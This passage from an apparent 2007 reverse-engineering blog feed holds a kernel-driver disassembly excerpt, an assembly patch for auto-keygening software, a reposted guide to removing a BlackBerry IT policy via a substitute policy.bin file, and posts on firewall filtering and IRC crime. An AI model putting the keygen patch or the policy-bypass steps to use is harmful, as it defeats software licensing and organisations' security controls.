/&gt;.rdata:0001217D                 db    0 ;&lt;br /&gt;.rdata:0001217E                 db    0 ;&lt;br /&gt;.rdata:0001217F                 db    0 ;&lt;br /&gt;.rdata:00012180                 db    0 ;&lt;br /&gt;.rdata:00012181                 db    0 ;&lt;br /&gt;.rdata:00012182                 db    0 ;&lt;br /&gt;.rdata:00012183                 db    0 ;&lt;br /&gt;.rdata:00012184                 db    0 ;&lt;br /&gt;.rdata:00012185                 db    0 ;&lt;br /&gt;.rdata:00012186                 db    0 ;&lt;br /&gt;.rdata:00012187                 db    0 ;&lt;br /&gt;.rdata:00012188                 db    0 ;&lt;br /&gt;.rdata:00012189                 db    0 ;&lt;br /&gt;.rdata:0001218A                 db    0 ;&lt;br /&gt;.rdata:0001218B                 db    0 ;&lt;br /&gt;.rdata:0001218C                 db    0 ;&lt;br /&gt;.rdata:0001218D                 db    0 ;&lt;br /&gt;.rdata:0001218E                 db    0 ;&lt;br /&gt;.rdata:0001218F                 db    0 ;&lt;br /&gt;.rdata:00012190                 db    0 ;&lt;br /&gt;.rdata:00012191                 db    0 ;&lt;br /&gt;.rdata:00012192                 db    0 ;&lt;br /&gt;.rdata:00012193                 db    0 ;&lt;br /&gt;.rdata:00012194                 db    0 ;&lt;br /&gt;.rdata:00012195                 db    0 ;&lt;br /&gt;.rdata:00012196                 db    0 ;&lt;br /&gt;.rdata:00012197                 db    0 ;&lt;br /&gt;.rdata:00012198                 db    0 ;&lt;br /&gt;.rdata:00012199                 db    0 ;&lt;br /&gt;.rdata:0001219A                 db    0 ;&lt;br /&gt;.rdata:0001219B                 db    0 ;&lt;br /&gt;.rdata:0001219C                 db    0 ;&lt;br /&gt;.rdata:0001219D                 db    0 ;&lt;br /&gt;.rdata:0001219E                 db    0 ;&lt;br /&gt;.rdata:0001219F                 db    0 ;&lt;br /&gt;.rdata:000121A0                 db    0 ;&lt;br /&gt;.rdata:000121A1                 db    0 ;&lt;br /&gt;.rdata:000121A2                 db    0 ;&lt;br /&gt;.rdata:000121A3                 db    0 ;&lt;br /&gt;.rdata:000121A4                 db    0 ;&lt;br /&gt;.rdata:000121A5                 db    0 ;&lt;br /&gt;.rdata:000121A6                 db    0 ;&lt;br /&gt;.rdata:000121A7                 db    0 ;&lt;br /&gt;.rdata:000121A8                 db    0 ;&lt;br /&gt;.rdata:000121A9                 db    0 ;&lt;br /&gt;.rdata:000121AA                 db    0 ;&lt;br /&gt;.rdata:000121AB                 db    0 ;&lt;br /&gt;.rdata:000121AC                 db    0 ;&lt;br /&gt;.rdata:000121AD                 db    0 ;&lt;br /&gt;.rdata:000121AE                 db    0 ;&lt;br /&gt;.rdata:000121AF                 db    0 ;&lt;br /&gt;.rdata:000121B0                 db    0 ;&lt;br /&gt;.rdata:000121B1                 db    0 ;&lt;br /&gt;.rdata:000121B2                 db    0 ;&lt;br /&gt;.rdata:000121B3                 db    0 ;&lt;br /&gt;.rdata:000121B4                 db    0 ;&lt;br /&gt;.rdata:000121B5                 db    0 ;&lt;br /&gt;.rdata:000121B6                 db    0 ;&lt;br /&gt;.rdata:000121B7                 db    0 ;&lt;br /&gt;.rdata:000121B8                 db    0 ;&lt;br /&gt;.rdata:000121B9                 db    0 ;&lt;br /&gt;.rdata:000121BA                 db    0 ;&lt;br /&gt;.rdata:000121BB                 db    0 ;&lt;br /&gt;.rdata:000121BC                 db    0 ;&lt;br /&gt;.rdata:000121BD                 db    0 ;&lt;br /&gt;.rdata:000121BE                 db    0 ;&lt;br /&gt;.rdata:000121BF                 db    0 ;&lt;br /&gt;.rdata:000121C0                 db    0 ;&lt;br /&gt;.rdata:000121C1                 db    0 ;&lt;br /&gt;.rdata:000121C2                 db    0 ;&lt;br /&gt;.rdata:000121C3                 db    0 ;&lt;br /&gt;.rdata:000121C4                 db    0 ;&lt;br /&gt;.rdata:000121C5                 db    0 ;&lt;br /&gt;.rdata:000121C6                 db    0 ;&lt;br /&gt;.rdata:000121C7                 db    0 ;&lt;br /&gt;.rdata:000121C8                 db    0 ;&lt;br /&gt;.rdata:000121C9                 db    0 ;&lt;br /&gt;.rdata:000121CA                 db    0 ;&lt;br /&gt;.rdata:000121CB                 db    0 ;&lt;br /&gt;.rdata:000121CC                 db    0 ;&lt;br /&gt;.rdata:000121CD                 db    0 ;&lt;br /&gt;.rdata:000121CE                 db    0 ;&lt;br /&gt;.rdata:000121CF                 db    0 ;&lt;br /&gt;.rdata:000121D0                 db    0 ;&lt;br /&gt;.rdata:000121D1                 db    0 ;&lt;br /&gt;.rdata:000121D2                 db    0 ;&lt;br /&gt;.rdata:000121D3                 db    0 ;&lt;br /&gt;.rdata:000121D4                 db    0 ;&lt;br /&gt;.rdata:000121D5                 db    0 ;&lt;br /&gt;.rdata:000121D6                 db    0 ;&lt;br /&gt;.rdata:000121D7                 db    0 ;&lt;br /&gt;.rdata:000121D8                 db    0 ;&lt;br /&gt;.rdata:000121D9                 db    0 ;&lt;br /&gt;.rdata:000121DA                 db    0 ;&lt;br /&gt;.rdata:000121DB                 db    0 ;&lt;br /&gt;.rdata:000121DC                 db    0 ;&lt;br /&gt;.rdata:000121DD                 db    0 ;&lt;br /&gt;.rdata:000121DE                 db    0 ;&lt;br /&gt;.rdata:000121DF                 db    0 ;&lt;br /&gt;.rdata:000121E0                 db    0 ;&lt;br /&gt;.rdata:000121E1                 db    0 ;&lt;br /&gt;.rdata:000121E2                 db    0 ;&lt;br /&gt;.rdata:000121E3                 db    0 ;&lt;br /&gt;.rdata:000121E4                 db    0 ;&lt;br /&gt;.rdata:000121E5                 db    0 ;&lt;br /&gt;.rdata:000121E6                 db    0 ;&lt;br /&gt;.rdata:000121E7                 db    0 ;&lt;br /&gt;.rdata:000121E8                 db    0 ;&lt;br /&gt;.rdata:000121E9                 db    0 ;&lt;br /&gt;.rdata:000121EA                 db    0 ;&lt;br /&gt;.rdata:000121EB                 db    0 ;&lt;br /&gt;.rdata:000121EC                 db    0 ;&lt;br /&gt;.rdata:000121ED                 db    0 ;&lt;br /&gt;.rdata:000121EE                 db    0 ;&lt;br /&gt;.rdata:000121EF                 db    0 ;&lt;br /&gt;.rdata:000121F0                 db    0 ;&lt;br /&gt;.rdata:000121F1                 db    0 ;&lt;br /&gt;.rdata:000121F2                 db    0 ;&lt;br /&gt;.rdata:000121F3                 db    0 ;&lt;br /&gt;.rdata:000121F4                 db    0 ;&lt;br /&gt;.rdata:000121F5                 db    0 ;&lt;br /&gt;.rdata:000121F6                 db    0 ;&lt;br /&gt;.rdata:000121F7                 db    0 ;&lt;br /&gt;.rdata:000121F8                 db    0 ;&lt;br /&gt;.rdata:000121F9                 db    0 ;&lt;br /&gt;.rdata:000121FA                 db    0 ;&lt;br /&gt;.rdata:000121FB                 db    0 ;&lt;br /&gt;.rdata:000121FC                 db    0 ;&lt;br /&gt;.rdata:000121FD                 db    0 ;&lt;br /&gt;.rdata:000121FE                 db    0 ;&lt;br /&gt;.rdata:000121FF                 db    0 ;&lt;br /&gt;.rdata:000121FF _rdata          ends&lt;br /&gt;.rdata:000121FF&lt;br /&gt;.data:00013000 ; Section 3. (virtual address 00003000)&lt;br /&gt;.data:00013000 ; Virtual size                  : 00000008 (      8.)&lt;br /&gt;.data:00013000 ; Section size in file          : 00000200 (    512.)&lt;br /&gt;.data:00013000 ; Offset to raw data for section: 00000800&lt;br /&gt;.data:00013000 ; Flags C8000040: Data Not pageable Readable Writable&lt;br /&gt;.data:00013000 ; Alignment     : 16 bytes ?&lt;br /&gt;.data:00013000 ; ---------------------------------------------------------------------------&lt;br /&gt;.data:00013000&lt;br /&gt;.data:00013000 ; Segment type: Pure data&lt;br /&gt;.data:00013000 _data           segment para public 'DATA' use32&lt;br /&gt;.data:00013000                 assume cs:_data&lt;br /&gt;.data:00013000                 ;org 13000h&lt;br /&gt;.data:00013000 dword_13000     dd 0BB40E64Eh           ; DATA XREF: start+5r&lt;br /&gt;.data:00013000                                         ; start+1Do ...&lt;br /&gt;.data:00013004 dword_13004     dd 44BF19B1h            ; DATA XREF: start+37w&lt;br /&gt;.data:00013008                 align 200h&lt;br /&gt;.data:00013008 _data           ends&lt;br /&gt;.data:00013008&lt;br /&gt;INIT:00014000 ; Section 4. (virtual address 00004000)&lt;br /&gt;INIT:00014000 ; Virtual size                  : 00000126 (    294.)&lt;br /&gt;INIT:00014000 ; Section size in file          : 00000200 (    512.)&lt;br /&gt;INIT:00014000 ; Offset to raw data for section: 00000A00&lt;br /&gt;INIT:00014000 ; Flags E2000020: Text Discardable Executable Readable Writable&lt;br /&gt;INIT:00014000 ; Alignment     : 16 bytes ?&lt;br /&gt;INIT:00014000 ; ---------------------------------------------------------------------------&lt;br /&gt;INIT:00014000&lt;br /&gt;INIT:00014000 ; Segment type: Pure code&lt;br /&gt;INIT:00014000 INIT            segment para public 'CODE' use32&lt;br /&gt;INIT:00014000                 assume cs:INIT&lt;br /&gt;INIT:00014000                 ;org 14000h&lt;br /&gt;INIT:00014000                 assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing&lt;br /&gt;INIT:00014000                 dd 0&lt;br /&gt;INIT:00014004                 db 0&lt;br /&gt;INIT:00014005&lt;br /&gt;INIT:00014005 ; ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ S U B R O U T I N E ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦&lt;br /&gt;INIT:00014005&lt;br /&gt;INIT:00014005 ; Attributes: bp-based frame&lt;br /&gt;INIT:00014005&lt;br /&gt;INIT:00014005                 public start&lt;br /&gt;INIT:00014005 start           proc near&lt;br /&gt;INIT:00014005                 mov     edi, edi&lt;br /&gt;INIT:00014007                 push    ebp&lt;br /&gt;INIT:00014008                 mov     ebp, esp&lt;br /&gt;INIT:0001400A                 mov     eax, dword_13000&lt;br /&gt;INIT:0001400F                 test    eax, eax&lt;br /&gt;INIT:00014011                 mov     ecx, 0BB40E64Eh&lt;br /&gt;INIT:00014016                 jz      short loc_1401C&lt;br /&gt;INIT:00014018                 cmp     eax, ecx&lt;br /&gt;INIT:0001401A                 jnz     short loc_1403A&lt;br /&gt;INIT:0001401C&lt;br /&gt;INIT:0001401C loc_1401C:                              ; CODE XREF: start+11j&lt;br /&gt;INIT:0001401C                 mov     edx, ds:KeTickCount&lt;br /&gt;INIT:00014022                 mov     eax, offset dword_13000&lt;br /&gt;INIT:00014027                 shr     eax, 8&lt;br /&gt;INIT:0001402A                 xor     eax, [edx]&lt;br /&gt;INIT:0001402C                 mov     dword_13000, eax&lt;br /&gt;INIT:00014031                 jnz     short loc_1403A&lt;br /&gt;INIT:00014033                 mov     eax, ecx&lt;br /&gt;INIT:00014035                 mov     dword_13000, eax&lt;br /&gt;INIT:0001403A&lt;br /&gt;INIT:0001403A loc_1403A:                              ; CODE XREF: start+15j&lt;br /&gt;INIT:0001403A                                         ; start+2Cj&lt;br /&gt;INIT:0001403A                 not     eax&lt;br /&gt;INIT:0001403C                 mov     dword_13004, eax&lt;br /&gt;INIT:00014041                 pop     ebp&lt;br /&gt;INIT:00014042                 jmp     loc_1112A&lt;br /&gt;INIT:00014042 start           endp&lt;br /&gt;INIT:00014042&lt;br /&gt;INIT:00014042 ; ---------------------------------------------------------------------------&lt;br /&gt;INIT:00014047                 dd 4090CCh, 2 dup(0), 40F400h, 200C00h, 408400h, 2 dup(0)&lt;br /&gt;INIT:00014047                 dd 411E00h, 200000h, 5 dup(0), 411000h, 410200h, 0, 40E600h&lt;br /&gt;INIT:00014047                 dd 40DA00h, 40C600h, 40B800h, 40A800h, 0, 4B02A000h, 6E614365h&lt;br /&gt;INIT:00014047                 dd 546C6563h, 72656D69h, 4B031E00h, 74655365h, 656D6954h&lt;br /&gt;INIT:00014047                 dd 0CD000072h, 49654B02h, 6974696Eh, 7A696C61h, 6D695465h&lt;br /&gt;INIT:00014047                 dd 3C007265h, 67624400h, 6E697250h, 27000074h, 54654B03h&lt;br /&gt;INIT:00014047                 dd 436B6369h, 746E756Fh, 6F746E00h, 6E726B73h, 78652E6Ch&lt;br /&gt;INIT:00014047                 dd 59000065h, 4C664B00h, 7265776Fh, 6C717249h, 4B005A00h&lt;br /&gt;INIT:00014047                 dd 69615266h, 72496573h, 48006C71h, 642E4C41h, 6C6Ch, 36h dup(0)&lt;br /&gt;INIT:000141FF                 align 4&lt;br /&gt;INIT:000141FF INIT            ends&lt;br /&gt;INIT:000141FF&lt;br /&gt;INIT:000141FF&lt;br /&gt;INIT:000141FF                 end start&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14930118-6107093232550542348?l=sysrec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sysrec.blogspot.com/feeds/6107093232550542348/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14930118&amp;postID=6107093232550542348' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/6107093232550542348'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/6107093232550542348'/><link rel='alternate' type='text/html' href='http://sysrec.blogspot.com/2007/02/stoping-kernel-timers-in-nt-6x.html' title='stopping kernel timers in NT 6.x'/><author><name>sysrec</name><uri>http://www.blogger.com/profile/09595041672601638504</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://3.bp.blogspot.com/_0rmHZ5EqPRo/SUm-_KPrRcI/AAAAAAAAAD0/4j1aKuxqNQo/S220/n1458816763_30032048_9108.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp0.blogger.com/_0rmHZ5EqPRo/Rc-xUKZzFcI/AAAAAAAAABI/r3oUWe68K4k/s72-c/not_sysrec.bmp' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14930118.post-7050553450117339445</id><published>2007-02-02T14:56:00.000-05:00</published><updated>2007-02-02T16:01:12.393-05:00</updated><title type='text'>keygening - the most lazy way possible</title><content type='html'>I'm in a &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;kwazy&lt;/span&gt; mood I suppose.&lt;br /&gt;&lt;br /&gt;A while back there was a doc (by &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;kwazy&lt;/span&gt; wabbit I think)  floating around on auto &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_2"&gt;keygening&lt;/span&gt;.   Of course, reversing the protection mechanism is the most academic method and therefore the most &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_3"&gt;leet&lt;/span&gt;.   Next on the list would be "ripping" the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_4"&gt;keygen&lt;/span&gt;. &lt;br /&gt;&lt;br /&gt;Finally...there is the lowest form of &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_5"&gt;keygening&lt;/span&gt; that is the most fun;  don't even bother to rip the protection code out and put it  into a nice &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_6"&gt;gui&lt;/span&gt;, just use the program against itself and &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_7"&gt;autokeygen&lt;/span&gt; it. &lt;br /&gt;&lt;br /&gt;This is the pathetic code from one such &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_8"&gt;exercise&lt;/span&gt;....&lt;br /&gt;&lt;br /&gt;Style          PUSH 10&lt;br /&gt;Title           PUSH program.00479&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_9"&gt;DF&lt;/span&gt;4&lt;br /&gt;Text           PUSH program.00475E08&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_10"&gt;hOwner&lt;/span&gt;     PUSH &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_11"&gt;DWORD&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_12"&gt;PTR&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_13"&gt;DS&lt;/span&gt;:[&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_14"&gt;EBX&lt;/span&gt;+4]&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_15"&gt;MsgBox&lt;/span&gt;     CALL &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_16"&gt;DWORD&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_17"&gt;PTR&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_18"&gt;DS&lt;/span&gt;:[&lt;&amp;amp;USER32.MessageBoxA&gt;]&lt;br /&gt;Return        &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_19"&gt;JMP&lt;/span&gt; back&lt;br /&gt;&lt;br /&gt;Oh yeah....and don't forget the save the stack variables and restore them&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14930118-7050553450117339445?l=sysrec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sysrec.blogspot.com/feeds/7050553450117339445/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14930118&amp;postID=7050553450117339445' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/7050553450117339445'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/7050553450117339445'/><link rel='alternate' type='text/html' href='http://sysrec.blogspot.com/2007/02/keygening-most-lazy-way-possible.html' title='keygening - the most lazy way possible'/><author><name>sysrec</name><uri>http://www.blogger.com/profile/09595041672601638504</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://3.bp.blogspot.com/_0rmHZ5EqPRo/SUm-_KPrRcI/AAAAAAAAAD0/4j1aKuxqNQo/S220/n1458816763_30032048_9108.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14930118.post-5262197275053388020</id><published>2007-01-30T09:01:00.000-05:00</published><updated>2007-01-30T09:05:01.306-05:00</updated><title type='text'>blackberry IT policy</title><content type='html'>This is one of those sites that will likley be going away at some point.   It's not my work&lt;br /&gt;&lt;br /&gt;See original text at http://blackberry.ig3.net/&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;h2&gt;     Unlocking the Blackberry.    &lt;/h2&gt;        &lt;p&gt;     First of all, this is not a guide on how to remove carrier information from a Blackberry.      If you're unable to use a different SIM card than the one that was originally supplied with      your device, look elsewhere. However if, like many others you have a Blackberry that is      locked by a BES, meaning you're unable to change certain settings, or install Third Party      Applications then read on. Essentially, the problem is that your Blackberry has at some      point been connected to a BES (Blackberry Enterprise Server), and this BES has placed      a restrictive Security Policy (or IT Policy) on your device. A quick check to see if this      is the case can be done by going to &lt;b&gt;Options&lt;/b&gt;/&lt;b&gt;Security&lt;/b&gt; on your Device. If you see any references      to &lt;b&gt;IT Policy&lt;/b&gt; whatsoever, then you have a potentially restrictive IT Policy that can be removed.    &lt;/p&gt;        &lt;h3&gt;     The Disclaimer/Intended Use.    &lt;/h3&gt;        &lt;p&gt;     This guide is intended for use by people that own their own Blackberry, and for whatever reason,      have inherited a company's IT Policy on their Device. Really, there are two scenarios where this      guide is useful.     &lt;/p&gt;     &lt;ul&gt;&lt;li&gt;      You, like me, bought a Blackberry on EBay and are unable to make changes to the       settings or install Third Party Applications.     &lt;/li&gt;&lt;li style="margin-top: 10px;"&gt;      You have a Blackberry that was previously connected to a company's BES and, for whatever       reason; you no longer intend to make connections to that BES.     &lt;/li&gt;&lt;/ul&gt;    &lt;p&gt; If you're still connected to a Company BES, and simply want to install the latest and greatest Third Party Application I wouldn't recommend this approach. Go talk to your administrators and ask them to grant you the appropriate rights. There are two problems in using this guide to bypass your Company's Security Policy. Firstly, whenever you reconnect to the Company Server, your security settings will revert back to how they were. Secondly, and (perhaps) more importantly, you run the risk of getting fired. &lt;/p&gt;     &lt;h3&gt;     Procedure    &lt;/h3&gt;        &lt;table class="basicTable" cellpadding="0" cellspacing="0"&gt;     &lt;tbody&gt;&lt;tr&gt;      &lt;td class="basicTd" width="10%"&gt;       &lt;b&gt;       Step 1       &lt;/b&gt;      &lt;/td&gt;      &lt;td class="basicTd" width="90%"&gt;       &lt;p&gt;        Ensure the Blackberry Desktop Manager is installed using &lt;b&gt;Blackberry        Internet Service&lt;/b&gt;, and not &lt;b&gt;Blackberry Enterprise Server&lt;/b&gt;. If        you are unsure, it would probably be a good idea to uninstall the        Desktop Manager and start again.       &lt;/p&gt;       &lt;p&gt;        &lt;i&gt; If you don't have the CD that came with your Blackberry, the Software can be downloaded          &lt;a href="https://www.blackberry.com/Downloads/entry.do?code=A8BAA56554F96369AB93E4F3BB068C22"&gt;here&lt;/a&gt;.        &lt;/i&gt;       &lt;/p&gt;      &lt;/td&gt;     &lt;/tr&gt;     &lt;tr&gt;      &lt;td class="basicTd"&gt;       &lt;b&gt;       Step 2       &lt;/b&gt;      &lt;/td&gt;      &lt;td class="basicTd"&gt;       Download the file &lt;a href="http://www.voicecareaustralia.com.au/dumpster/blackberry/files/policy.bin"&gt;policy.bin&lt;/a&gt; and save it in your Blackberry installation directory        (C:\Program Files\Research In Motion\BlackBerry).      &lt;/td&gt;     &lt;/tr&gt;     &lt;tr&gt;      &lt;td class="basicTd"&gt;           &lt;b&gt;       Step 3       &lt;/b&gt;      &lt;/td&gt;      &lt;td class="basicTd"&gt;       &lt;p&gt;        Wipe your Blackberry, creating a backup if necessary. Select &lt;b&gt;Options&lt;/b&gt;/&lt;b&gt;Security&lt;/b&gt;/&lt;b&gt;Wipe&lt;/b&gt; on the Device.       &lt;/p&gt;       &lt;p&gt;        &lt;i&gt; If this option is unavailable, you may have to install the latest software on your Blackberry. You need to Download and install        &lt;a href="https://www.blackberry.com/Downloads/entry.do?code=A8BAA56554F96369AB93E4F3BB068C22"&gt;the latest Desktop Manger Software, then the latest Handheld Software&lt;/a&gt;.        Connect your device, open the Desktop Manager, select Application Loader, and follow the prompts.         &lt;/i&gt;       &lt;/p&gt;      &lt;/td&gt;     &lt;/tr&gt;     &lt;tr&gt;      &lt;td class="basicTd"&gt;       &lt;b&gt;       Step 4       &lt;/b&gt;      &lt;/td&gt;      &lt;td class="basicTd"&gt;       Close the Desktop Manager if it is open.      &lt;/td&gt;     &lt;/tr&gt;     &lt;tr&gt;      &lt;td class="basicTd"&gt;       &lt;b&gt;       Step 5       &lt;/b&gt;      &lt;/td&gt;      &lt;td class="basicTd"&gt;       From the Windows Start Menu select &lt;b&gt;Run...&lt;/b&gt;, and at the prompt type &lt;b&gt;regedit&lt;/b&gt;. In the tree on the left hand side, navigate to:       &lt;br /&gt;      &lt;br /&gt;      &lt;b&gt;HKEY_Current_Users\Software\Research In Motion\BlackBerry\PolicyManager&lt;/b&gt;       &lt;br /&gt;      &lt;br /&gt;      Right-Click the &lt;b&gt;Policy Manage&lt;/b&gt;r Folder and select &lt;b&gt;New&lt;/b&gt;/&lt;b&gt;String Value&lt;/b&gt;.       Name the value &lt;b&gt;Path&lt;/b&gt;. Now, Double-Click the &lt;b&gt;Path&lt;/b&gt; Subkey and set  &lt;b&gt;Value       Data&lt;/b&gt; to:&lt;br /&gt;      &lt;br /&gt;      &lt;b&gt;C:\Program Files\Research In Motion\BlackBerry\policy.bin&lt;/b&gt;      &lt;/td&gt;     &lt;/tr&gt;     &lt;tr&gt;      &lt;td class="basicTd"&gt;       &lt;b&gt;       Step 6       &lt;/b&gt;      &lt;/td&gt;      &lt;td class="basicTd"&gt;       Open the Desktop Manager.      &lt;/td&gt;     &lt;/tr&gt;     &lt;tr&gt;      &lt;td class="basicTd"&gt;       &lt;b&gt;Step 7&lt;/b&gt;      &lt;/td&gt;      &lt;td class="basicTd"&gt;       Connect the Device.      &lt;/td&gt;     &lt;/tr&gt;    &lt;/tbody&gt;&lt;/table&gt;        &lt;h3&gt;     Verification    &lt;/h3&gt;        &lt;p&gt;     Once complete, the &lt;b&gt;Options&lt;/b&gt;/&lt;b&gt;Security&lt;/b&gt; screen on your Blackberry should not contain references to an IT Policy, you should now be able     to change all settings (including password prompts), and install Third Party Applications.    &lt;/p&gt;        &lt;h3&gt;     About this Guide.    &lt;/h3&gt;        &lt;p&gt; This guide was born from an amazing amount of frustration shortly after buying a Blackberry 7230 on EBay to test an Application I was working on. It addresses what I consider either a bug or an extremely poorly implemented feature of the Blackberry device, and a problem I'm sure 80 percent of people who buy a Blackberry on EBay face. &lt;/p&gt;        &lt;p&gt;     Kudos and thanks in particular to &lt;b&gt;7100simpleisbetter&lt;/b&gt; and &lt;b&gt;barjohn&lt;/b&gt; of &lt;a href="http://www.blackberryforums.com/"&gt;www.blackberryforums.com&lt;/a&gt;.    &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14930118-5262197275053388020?l=sysrec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sysrec.blogspot.com/feeds/5262197275053388020/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14930118&amp;postID=5262197275053388020' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/5262197275053388020'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/5262197275053388020'/><link rel='alternate' type='text/html' href='http://sysrec.blogspot.com/2007/01/blackberry-it-policy.html' title='blackberry IT policy'/><author><name>sysrec</name><uri>http://www.blogger.com/profile/09595041672601638504</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://3.bp.blogspot.com/_0rmHZ5EqPRo/SUm-_KPrRcI/AAAAAAAAAD0/4j1aKuxqNQo/S220/n1458816763_30032048_9108.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14930118.post-6541671126630142822</id><published>2007-01-17T20:41:00.000-05:00</published><updated>2007-01-17T22:19:01.372-05:00</updated><title type='text'>hostile source network decisioning at the application layer</title><content type='html'>It always seemed reasonable for to drop packets from hostile networks in baseline firewall configs.   Even as early as a 5 years ago a large portion of the attacks (both network and application layer) were coming from a small number of networks.    That really has not changed.  All my firewall configs have a growing number of netblocks that just get dropped on the floor.&lt;br /&gt;&lt;br /&gt;What has changed is the relative percentage of successful application layer attacks versus network layer attacks.   So if you can drop the packet that's good, but sometimes it's not good business.&lt;br /&gt;&lt;br /&gt;While I still feel that it's an important dimension to drop the packets from hostile networks, it's even more important these days to invoke defensive business logic at the application layer when application requests are originating from those same hostile networks.&lt;br /&gt;&lt;br /&gt;For example, if I'm linked off an ebay storefront and I'm getting some lusers from middle America that have quietly owned servers in north korea trying to ddos me....that's a no brainer.  On the other hand if those same users have owned systems in...say...Brazil...maybe I don't drop the packets, but build more robust business process into the requests for service coming from that part of the world.&lt;br /&gt;&lt;br /&gt;--&lt;br /&gt;&lt;br /&gt;How do you know the relative hotility of a given network / geographic location?.   Just ask the excellent people at the &lt;a href="http://www.honeynet.org/"&gt;honeynet project&lt;/a&gt;.   More details to come.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14930118-6541671126630142822?l=sysrec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sysrec.blogspot.com/feeds/6541671126630142822/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14930118&amp;postID=6541671126630142822' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/6541671126630142822'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/6541671126630142822'/><link rel='alternate' type='text/html' href='http://sysrec.blogspot.com/2007/01/agressive-network-fitering-of-hostile.html' title='hostile source network decisioning at the application layer'/><author><name>sysrec</name><uri>http://www.blogger.com/profile/09595041672601638504</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://3.bp.blogspot.com/_0rmHZ5EqPRo/SUm-_KPrRcI/AAAAAAAAAD0/4j1aKuxqNQo/S220/n1458816763_30032048_9108.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14930118.post-3504482525752466011</id><published>2007-01-10T21:42:00.000-05:00</published><updated>2007-02-13T21:44:04.555-05:00</updated><title type='text'>IRC, corporate nets and the undergound economy</title><content type='html'>So I got this new job.  In fact right now I'm doing the 212 hustle.  I like it.  I can instant message my boss on a corporate network rather than &lt;span onclick="BLOG_clickHandler(this)" class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;IRC&lt;/span&gt;.  That's a good thing.&lt;br /&gt;&lt;br /&gt;Although I never have worked for anyone on &lt;span onclick="BLOG_clickHandler(this)" class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;IRC&lt;/span&gt;, it clearly is a venue for those without ethics and &lt;span onclick="BLOG_clickHandler(this)" class="blsp-spelling-corrected" id="SPELLING_ERROR_2"&gt;conscience&lt;/span&gt; to find work.  It's even worse when I realize the symbiosis between corporate America and underground commerce. &lt;br /&gt;&lt;br /&gt;I'm not really sure what to make of it.  Organized crime is dependent on a functional technology and business infrastructure to conduct criminal business.   It's all about money. &lt;br /&gt;&lt;br /&gt;Critical infrastructure is to some extent necessary for a functional underground....seems 